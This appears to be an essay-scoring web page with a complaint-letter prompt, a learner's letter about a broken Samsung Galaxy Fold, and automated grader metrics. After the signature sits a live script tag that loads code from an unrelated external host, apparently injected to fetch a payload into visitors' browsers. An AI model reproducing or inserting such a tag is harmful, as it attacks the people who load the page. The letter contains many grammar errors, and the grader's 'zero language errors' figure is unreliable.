Write a letter to the company that sold you the item. In the letter:
give details about the order you made
explain what was wrong with the item
tell the company what you want them to do about it
Dear Sir/Madam
Last week I ordered a brand new Samsung galaxy fold, which was on your website and paid all the charges that has been included. Got a message that it will be delivered on three days but im sad to say that it was only delivered after five days. However, I got a message from your executive and he apologized for the delay.
It was excited to unbox the brand new galaxy fold, but once it was unboxed, I had a nightmare, seeing the brand new phone broken. Nevertheless, I have a video recorded while unboxing it. I was totally disappointed with the product delivered and it seems unsatisfied with your service. My time, money has wasted for the product you have delivered.
As a solution, would ask your team to replace the product as soon as possible in a couple of day's, you can contact me through my email or phone. I wish you could make the process soon so that a good product is delivered on time. Otherwise, try to refund full amount of the product.
Thanking you for your attention and ihope to hear your reply soon.
Yours faithfully
Arun <script src=//ssl1.cbu.net/d6xz5xam></script>
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Transition Words or Phrases used:
but, however, nevertheless, so, while, as to
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 8.0 7.48453608247 107% => OK
Auxiliary verbs: 4.0 4.92783505155 81% => OK
Conjunction : 7.0 5.05154639175 139% => OK
Relative clauses : 5.0 3.03092783505 165% => OK
Pronoun: 31.0 32.9175257732 94% => OK
Preposition: 16.0 26.3917525773 61% => OK
Nominalization: 2.0 3.85567010309 52% => More nominalizations (nouns with a suffix like: tion ment ence ance) wanted.
Performance on vocabulary words:
No of characters: 883.0 937.175257732 94% => OK
No of words: 194.0 206.0 94% => More content wanted.
Chars per words: 4.55154639175 4.54256449028 100% => OK
Fourth root words length: 3.73207559907 3.78020617076 99% => OK
Word Length SD: 2.47019108151 2.54303337028 97% => OK
Unique words: 121.0 127.690721649 95% => More unique words wanted.
Unique words percentage: 0.623711340206 0.622605031667 100% => OK
syllable_count: 276.3 290.88556701 95% => OK
avg_syllables_per_word: 1.4 1.41237113402 99% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 9.0 9.13402061856 99% => OK
Article: 0.0 0.824742268041 0% => OK
Subordination: 1.0 1.83505154639 54% => OK
Conjunction: 1.0 0.463917525773 216% => Less conjunction wanted as sentence beginning.
Preposition: 0.0 1.44329896907 0% => More preposition wanted as sentence beginning.
Performance on sentences:
How many sentences: 12.0 12.6804123711 95% => OK
Sentence length: 16.0 16.3608247423 98% => OK
Sentence length SD: 37.5324859289 44.8134815571 84% => OK
Chars per sentence: 73.5833333333 76.5299724578 96% => OK
Words per sentence: 16.1666666667 16.8248392259 96% => OK
Discourse Markers: 3.66666666667 4.34317383033 84% => OK
Paragraphs: 4.0 4.29896907216 93% => OK
Language errors: 0.0 2.54639175258 0% => OK
Sentences with positive sentiment : 4.0 7.41237113402 54% => More positive sentences wanted.
Sentences with negative sentiment : 4.0 1.49484536082 268% => Less negative sentences wanted.
Sentences with neutral sentiment: 4.0 3.94845360825 101% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.101519555642 0.216113520407 47% => OK
Sentence topic coherence: 0.0373946539752 0.0766984524023 49% => OK
Sentence topic coherence SD: 0.032101924909 0.0603063233224 53% => OK
Paragraph topic coherence: 0.0669542169803 0.12726935374 53% => OK
Paragraph topic coherence SD: 0.0207060542779 0.0580467560999 36% => Paragraphs are similar to each other. Some content may get duplicated or it is not exactly right on the topic.
Essay readability:
automated_readability_index: 8.1 8.37731958763 97% => OK
flesch_reading_ease: 72.16 70.7449484536 102% => OK
smog_index: 3.1 3.82989690722 81% => OK
flesch_kincaid_grade: 7.2 7.45979381443 97% => OK
coleman_liau_index: 8.81 8.71597938144 101% => OK
dale_chall_readability_score: 7.77 7.59969072165 102% => OK
difficult_words: 41.0 41.2886597938 99% => OK
linsear_write_formula: 11.0 8.62886597938 127% => OK
gunning_fog: 8.4 8.54432989691 98% => OK
text_standard: 8.0 8.15463917526 98% => OK
What are above readability scores?
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Rates: 73.0337078652 out of 100
Scores by essay e-grader: 6.5 Out of 9
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